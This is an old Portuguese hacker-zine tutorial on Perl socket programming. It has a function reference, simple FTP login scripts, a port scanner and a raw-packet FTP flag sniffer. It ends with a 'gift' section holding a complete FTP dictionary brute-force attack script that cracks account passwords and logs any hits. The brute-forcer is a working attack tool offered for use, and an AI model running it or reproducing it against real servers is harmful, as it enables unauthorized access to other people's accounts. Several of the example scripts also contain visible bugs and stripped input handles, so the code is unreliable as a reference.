Sockets in Perl for dummiesAutor: BlackSh33p
Tae um texto explicando sockets em perl, não sei a fonte pq fiquei dias pesquisando...
--------------------------------------------------------------------------------------------------------------------------------------------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]=-[Sockets in Perl for dummies]-=|BlackSh33p|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-------------------------------
- - = = < Sockets in Perl for dummies > = = - -
-------------------------------
Por: BlackSh33p 06/2004
___________________
1. INTRODUCAO \ __________________
________________________________________\
É pessoal ... poucos dias de ser lancada o zine eu resolvi escreve
esse txt porque po, ja tinha ficado devendo na zine passada e prometi
que faria algo legal para esta zine .Entao ae esta "Sockets in perl
for dummies".Amadores da linguagem C devem estar dizendo A pq perl ao
inves de C. Bem como disse Larry Wall ,Perl é uma linguagem de facil
aprendizado e muito flexivel. Ele esta completamente correto e tenho
estudado muito ultimamente .Os requisitos para compreender esse txt
é no minimo que voce sabe o basico de Perl ,just this !! Bem chega
de falar merda, vou tentar ser o mais pratico possivel e é isso ae...
Enjoy
_________________________
2. Sockets e suas funcoes \ ___________________
_______________________________________________\
Bem todos dados colocados aqui foram retirados das man pages e
do livro Perl da editora o'reilly .Eu nao conseguiria explicar com
minhas palavras isso aqui entao me limitarei a mostrar codigos perl
fucadores e comenta-los .Teoria deixa pros guru de "PERL" 8) shutdown (ou close)
sintaxe: shutdown soquete, como
Finaliza uma conexao de soquete da maneira indicada por como. Se como
for 0, mais recebimentos serao recusados. Se como for 1, mais envios
serao recusados. Se como for 2, tudo sera recusado.
Ex: shutdown (SOQUETE, 0);
sintaxe: close handle_de_arquivo
Fecha o arquivo, o soquete ou o canal associado ao determinado handle de
arquivo.
Ex: close(SOQUETE);
############### Funcoes do modulo Socket: ###############
1) inet_aton
sintaxe: inet_aton(nome_host);
Converte um nome do host como www.algumacoisa.com.br (http://www.algumacoisa.com.br) ou 200.217.98.100
em uma estrutura de dados (uma string com quatro bytes) usada para os
enderecos de soquete. Se o nome do host nao puder ser resolvido, a
funcao retornara um valor indefinido.
2) inet_ntoa
sintaxe: inet_ntoa(string_ender);
Converte uma string de endereco com quatro bytes (como retornado por
inet_aton) em uma string com a forma de quatro do endereco IP com pontos.
3) sockaddr_in
sintaxe: sockaddr_in(porta, string_ender);
pack_sockaddr_in(porta, string_ender);
Obtem um numero da porta e uma string_ender com quatro bytes (como
retornado por inet_aton) e retorna a estrutura de endereco do soquete
inclusive os argumentos compactados com o argumento AF_INET. Essa
estrutura e normalmente o que voce precisara para os argumentos em bind,
connect e send e e tambem retornada por getpeername, getsockname e recv.
4) sockaddr_un
sintaxe: sockaddr_un(nome_caminho);
pack_sockaddr_un(nome_caminho);
Obtem um argumento, um nome do caminho e retorna a estrutura do endereco
de soquete do dominio Unix (o caminho compactado com AF_UNIX preenchido).
Para os soquetes do dominio Unix, essa estrutura e normalmente o que voce
precisara para os argumentos em bind, connect e send e e tambem retornada
oir getpeername, getsockname e recv.
5) unpack_sockaddr_in
sintaxe: unpack_sockaddr_in(ender_soquete);
sockaddr_in(ender_soquete);
Obtem uma estrutura de endereco do soquete e retorna uma array de dois
elementos (no contexto da lista): o numero da porta e o endereco de IP
com quatro bytes.
6) unpack_sockaddr_un
sintaxe: unpack_sockaddr_un(ender_soquete_un);
sockaddr_un(ender_soquete_un);
Obtem uma estrutura de endereco do soquete do dominio Unix (como
retornado por sockaddr_un) e retorna o nome do caminho.
Com base nisso podemos fazer alguma coisinha só pra voce ir pegando
gosto da coisa .Comentarei apenas as funcoes destacadas assima,ou seja
apenas as utilizadas com a chamada do socket.
-=-=-=-=-=-=--=-=-=-= Cut Here Conecta.pl
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
use Socket; #Chama do socket
$ARGC =@ARGV;
if($ARGC < 3){
print("Conecta.pl desenvolvido para o tutorial de sockets \n");
print("Use : $0
\n");
print("Motd Guide 3 na veia \n ");
}
&struct;
sub struct{
my($host) =$ARGV[0];
my($port) =21;
my($prot) =getprotobyname('tcp'); #Define o protocolo no caso 'tcp'
my($addr) =inet_aton($host); #Converte o host em alguma coisa
my($iaddr) =sockaddr_in($port,$host); #Obtem a porta e host remoto
$sock =socket(SOCK,PF_INET,SOCK_STREAM,$prot)||die "Erro socket \n";
#Declaracao do socket
connect(SOCK,$iadd)||die "Erro conect \n"; #Connectando no host e
porta remota
}
$login =$ARGV[1];
$passwd =$ARGV[2];
send(SOCK,$login)||die"Erro send login \n"; #Enviando login para o server
send(SOCK,$passwd)||die"Erro send passwd \n"; #Enviando passwd para o
server
print("Login and passwd it's ok !!\n");
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bem tai um simples exemplo da utilizao de sockets ,um script que
conecta
(ftp) e envia seus respectivos login e senha para la. Bem agora que
voce ja
sabe alguma coisa sobre Perl sockets. Vamus comecar a avancar.
Existe
alguns modulos capazes de facilitar o uso de sockets em perl . Todos
serao
serao uteis para vc, acredite :)
_____________________
3. Modulos de Perl \__________________
________________________________________\
Dinovo nesta parte me limitarei apenas cometar o codigo e nao falar
sobre
teorias complexas mesmo porque eu nao conseguiria explicar mas deixa
que a
parte do codigo eu mostro direitinho !!
1) PeerAddr
sintaxe: PeerAddr => nome_host[:porta]
Especifica o host remoto e o numero da porta opcional para uma conexao
do cliente. O nome_host podera ser um nome, como www.fuck.com (http://www.fuck.com) ou um
numero de IP com a forma 200.217.98.100.
2) PeerPort
sintaxe: PeerPort => porta
Especifica o numero da porta no host remoto para uma conexao do cliente.
O nome do servico (como http ou nntp) podera ser usado para o argumento
se o numero da porta for desconhecido.
3) LocalAddr
sintaxe: LocalAddr => nome_host[:porta]
Especifica o endereco local (e o numero da porta opcional) para vincular
um soquete no lado do servidor.
4) LocalPort
sintaxe: LocalPort => porta
Especifica o numero da porta local (ou nome do servico) para vincular um
soquete no lado do servidor.
5) Proto
sintaxe: Proto => nome
Especifica o protocolo a ser executado no soquete, por exemplo, tcp ou
udp.
6) Type
sintaxe: Type => SOCK_STREAM | SOCK_DGRAM
Espefica o tipo de soquete. SOCK_STREAM indica uma conexao de soquete
baseada em fluxo e SOCK_DGRAM indica uma conexao (datagrama) baseada em
messagens.
7) Listen
sintaxe: Listen => n
Define o tamanho da fila atendente para o numero n de solicitacoes do
cliente.
8) Reuse
sintaxe: Reuse => 1
Dado um numero diferente de zero, esta opcao permitira que o endereco de
vinculo local seja reutilizado, caso o soquete precise ser reaberto
depois de um erro.
9) Timeout
sintaxe: Timeout => n
Define o intervalo.
############### Metodos do IO:Socket:INET ###############
1) sockaddr
sintaxe: sockaddr
Retorna a parte do endereco (como string compactada) da estrutura de
dados de endreco do soquete para o soquete.
2) sockport
sintaxe: sockport
Retorna o numero da porta local para o soquete.
3) sockhost
sintaxe: sockhost
Retorna a parte do endereco da estrutura de dados de endereco do soquete
na forma de string com quatro partes e pontos, por exemplo,
200.217.98.100.
4) peeraddr
sintaxe: peeraddr
Retorna a parte do endereco (string compactada) da estrutura de dados de
endereco do soquete para o host remoto ao qual um soquete se conecta.
5) peerport
sintaxe: peerport
Retorna o numero da porta para o host remoto ao qual um soquete se
conecta.
6) peerhost
sintaxe: peerhost
Retorna o endereco do host remoto na forma de string com quatro partes e
pontos, por exemplo, 200.217.98.100.
-=---=-=-=-=-=-=-=-=-=-=-Cut Here conecta2.pl
=-=--=-=-=-=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use IO::Socket::INET;
print("Host : ");
chomp($host =);
print("\nLogin : ");
chomp($login =);
print("\nPasswd : ");
chomp($pass =);
$sock =IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 21,
Proto => 'tcp',
Type => SOCK_STREAM)||die "Nao foi
possivel conectar \n";
print $sock "$login\n";
print $sock "$pass\n";
$res =<$sock>;
print"$res\n";
close($sock);
-=-=-=-=-=-=-=-=-=-=-= Cut Here conecta.pl
-=-=-=-=-========-=-=-=-=-=-=-=-=-=-=
Bem esta ae mais um simples exemplo, tudo pode ser feito com scripts
perl isso
é bem basico mais quero ser o mais detalhado possivel mas por favor
qualquer
duvida send me one mail :) si nao, nao sai na zine mas prometo q
logo vou
estar disponibilizando uns codez bem legais e outros txt de qualidade
Ok ?? Ta
vamus ao primeiro exemplo .
-=-=-=-=-=-=-=-=-=-=-=-= Cut Here scan.pl -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
# MOTD-PScanner v 0.1
# MOTD Labs ( http://www.motdlabs.org (http://www.motdlabs.org) )
# coded by inferninh0 (http://www.motdlabs.org/ (http://www.motdlabs.org/) )";
print "\nInteresting ports on $ARGV[0]\n\n";
for($port_in = 0; $port_in <= 6000; $port_in++) {
$iaddr= inet_aton($ARGV[0]) || die "Nao foi possivel conectar no
Host.($!)";
$paddr= sockaddr_in($port_in, $iaddr);
$proto= getprotobyname('tcp');
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
if(connect(SOCK, $paddr)) {
$servico=getservbyport($port_in,'tcp');
print "Port $port_in --> $servico open\n";
close(SOCK);
}
}
print "\nScanner completed...\n\n";
exit;
Scan de portas desenvolvido pelo hax0r inferninh0 ( valeu inferninho
por libera seu code :) Ele scaneia portas de 0 a 6000 a unica funcao
desconhecida é 'getservbyport' q obtem o servico da porta, o resto se
ja conhece !!
_________________
5. Presentinho \_________________
___________________________________\
Aproveitem e estudem esses codez :)
-==-=-=-=-=-= Cut Here Brute_force_attack.pl -=-=-=-=-=-=-=-=-=-=-=-=-=-
#!/usr/bin/perl
use Socket;
print "\n\07FTP Brute Force attack 1.0 - Near(Z) - 1998 - SouL Hunter";
print "\nVersao MONO, nearz\@cyberpace.org\n\n";
if ($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '') { print
"\n\nUsage: hackftp Host Login Dictionary\nEx. hackftp 127.0.0.1 Joao
Dict\n\n";exit;}
my($h,$p,$in_addr,$proto,$addr);
$i=0;$temp='';$temp2='';$temp10='';$temp12='';$h = "$ARGV[0]";
$p = 21;
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
$check=0;
open (FILE,"$ARGV[2]") || die "cade o dicionario?";
&resume;
do{
&connection;
&getword;
&data1;
&data2;
&result;
# &getword;
# &data2;
# &result;
close S;
}while(1==1);
sub connection
{
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!;
}
sub data1
{
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '220');
}
sub data2
{
$temp='';
$i=0;
send (S,"user $ARGV[1]\n",0) || die "Erro enviando";
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '331' && substr($temp,$i-3,3)
ne '530');
if(substr($temp,$i-3,3) eq '530'){
print "\nLogin nao permitido - $ARGV[1]\n\n";
exit;
}
send (S,"pass $temp2",0) || die "Erro enviando";
$temp='';
$i=0;
do{
read(S, $var1, 1) || die $!;
$temp="$temp$var1"; $i++;
}while(substr($temp,$i-3,3) ne '530' && substr($temp,$i-3,3)
ne '230');
}
sub result
{
if(substr($temp,$i-3,3) eq '230'){
print "\n\07$ARGV[0]/$ARGV[1] - [$z]senha : $temp2\n";
open (FILE3,">>$ARGV[0].$ARGV[1]-result") ;
print FILE3 "\n1 - $ARGV[0]/$ARGV[1] - [$z] senha :
$temp2\n";
print FILE2 "\n1 - $ARGV[0]/$ARGV[1] - [$z] senha :
$temp2\n";
close FILE3;
exit;
}
if(substr($temp,$i-3,3) eq '530'){
open (FILE4,">$ARGV[0].$ARGV[1]-resume");
print "$ARGV[0]/$ARGV[1] - [$z] not found - $temp2";
print FILE4 "$z
";
close FILE4;
}
}
sub getword
{
$temp2='';
do{
read(FILE, $var12, 1);
$temp2="$temp2$var12";
}while($var12 ne chr(10));
$z++;
}
sub resume
{
if(open(FILE5,"$ARGV[0].$ARGV[1]-resume")){
read (FILE5, $temp10, 50);
close FILE5;
$z=$temp10;
for($i=0;$i<$z;$i++){
do{
read(FILE, $var12, 1);
$temp2="$temp2$var12";
}while($var12 ne chr(10));
}
}
$i=0;
}
-=-=-=-=-=-=-=-=-=- Cut Here sniffer.pl -=-=-=-=-=-=-=-=-=-=-=-=
#!/usr/bin/perl
# Simple script for educational purposes
# It prints to STDOUT flags tcp packets from ftp server and client
use Net::RawIP; # Net::RawIP rulez :)
require 'getopts.pl';
Getopts('i:d:n:');
die "Usage $0 -i -d -n "
unless ($opt_d && $opt_d && $opt_n);
print "Now please login to your ftp server\n";
@flags = qw/URG ACK PSH RST SYN FIN/;
$filter = "dst host $opt_i and dst port 21";
$filter1 = "src host $opt_i and src port 21";
$psize = 1500;
$device = $opt_d;
$timeout = 500;
if(fork()){
$a = new Net::RawIP;
my $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
loop $pcap,$opt_n,\&cl,\@a;
}
else {
$b = new Net::RawIP;
my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout);
loop $pcap,$opt_n,\&sv,\@a;
}
sub cl {
$a->bset(substr( $_[2],14));
my @fl = $a->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Client -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n"
}
sub sv {
$b->bset(substr( $_[2],14));
my @fl = $b->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Server -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n";
}
__________________
5 Finalizando \_______________
__________________________________\
Bem esse foi mais um txt inutil by BlackSh33p, kra pesso desculpa a
todos vcs fiquei devendo queria te botado muito mais coisa mas nao deu
mesmo. Tava estudando pra uma prova e acabei esquecendo. Prometo que o
proximo sera bem melhor. Creditos ao inferninh0 por me permitir usufruir
de seus codez ( falei bunito agora né :D
Tank's for all
_________________________
7.Links \_________________
___________________________________________\
http://www.motdlabs.org/ (http://www.motdlabs.org/)
http://www.perl.com/ (http://www.perl.com/)
http://www.perl.org/ (http://www.perl.org/)
http://www.oreilly.com/ (http://www.oreilly.com/)
http://Tutorial.VirtualAve.net/ (http://tutorial.virtualave.net/)
--------------------------------------------------------------------------------------------------------------------------------------------------------
Flws...